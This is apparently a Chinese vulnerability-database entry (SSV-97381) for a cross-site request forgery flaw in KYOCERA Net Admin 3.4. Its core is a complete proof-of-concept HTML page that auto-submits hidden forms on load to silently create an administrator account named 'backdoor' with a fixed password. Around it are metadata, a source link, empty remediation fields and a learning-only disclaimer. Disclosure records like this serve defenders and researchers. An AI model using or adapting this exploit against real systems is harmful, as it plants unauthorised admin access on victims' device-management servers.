KYOCERA Net Admin 3.4 CSRF Add Admin Exploit

基本字段

漏洞编号：: SSV-97381

披露/发现时间：: 2018-03-28

提交时间：: 2018-06-29

漏洞等级：

漏洞类别：: 跨站请求伪造

影响组件：: KYOCERA Net Admin

漏洞作者：: Gjoko 'LiquidWorm' Krstic

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5458.php

漏洞详情

贡献者共获得 0KB

共 0 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0KB

<html> <head> <title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title> </head> <body onload="exploitrun();">  <form name="create_user" action="https://192.168.18.133:7443/fwk-web/jsp/addUser.faces" method="POST" target="frame0"> <input type="hidden" name="userType" value="0" /> <input type="hidden" name="addUserForm:loginName" value="backdoor" /> <input type="hidden" name="addUserForm:pw" value="pass123" /> <input type="hidden" name="addUserForm:pwConfirm" value="pass123" /> <input type="hidden" name="addUserForm:role" value="administrator" /> <input type="hidden" name="addUserForm:required_name" value="name" /> <input type="hidden" name="addUserForm:required_email1" value="bd@db.ee" /> <input type="hidden" name="addUserForm:required_role" value="administrator" /> <input type="hidden" name="addUserForm:optional_name" value="Backdoor" /> <input type="hidden" name="addUserForm:company" value="ZSL" /> <input type="hidden" name="addUserForm:department" value="forensics" /> <input type="hidden" name="addUserForm:email2" value="bd2@db.ee" /> <input type="hidden" name="addUserForm:optional_phone" value="123-123-1234" /> <input type="hidden" name="addUserForm:optional_cell" value="321-321-3210" /> <input type="hidden" name="addUserForm:submitHidden" value="true" /> <input type="hidden" name="addUserForm_SUBMIT" value="1" /> <input type="hidden" name="addUserForm:_link_hidden_" value="" /> </form>  <form name="update_node" action="https://192.168.18.133:7443/fwk-web/servlet/EventControllerServlet" method="GET" target="frame1"> <input type="hidden" name="bname" value="" /> <input type="hidden" name="ts" value="1522690965730" /> <input type="hidden" name="cmd" value="tv_set_cur_node" /> <input type="hidden" name="node_id" value="root.user_administration.administrator.backdoor" /> </form> <iframe name="frame0"></iframe> <iframe name="frame1"></iframe> <script> function exploitrun() { document.create_user.submit(); document.getElementsByTagName("iframe")[0].onload = function() { document.update_node.submit(); document.getElementsByTagName("iframe")[1].onload = function() } } </script> </body> </html>

共 0 兑换

参考链接

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5458.php

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机现在绑定

暂无评论

KYOCERA Net Admin 3.4 CSRF Add Admin Exploit

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机 现在绑定

暂无评论

您好，

您好，

评论前需绑定手机现在绑定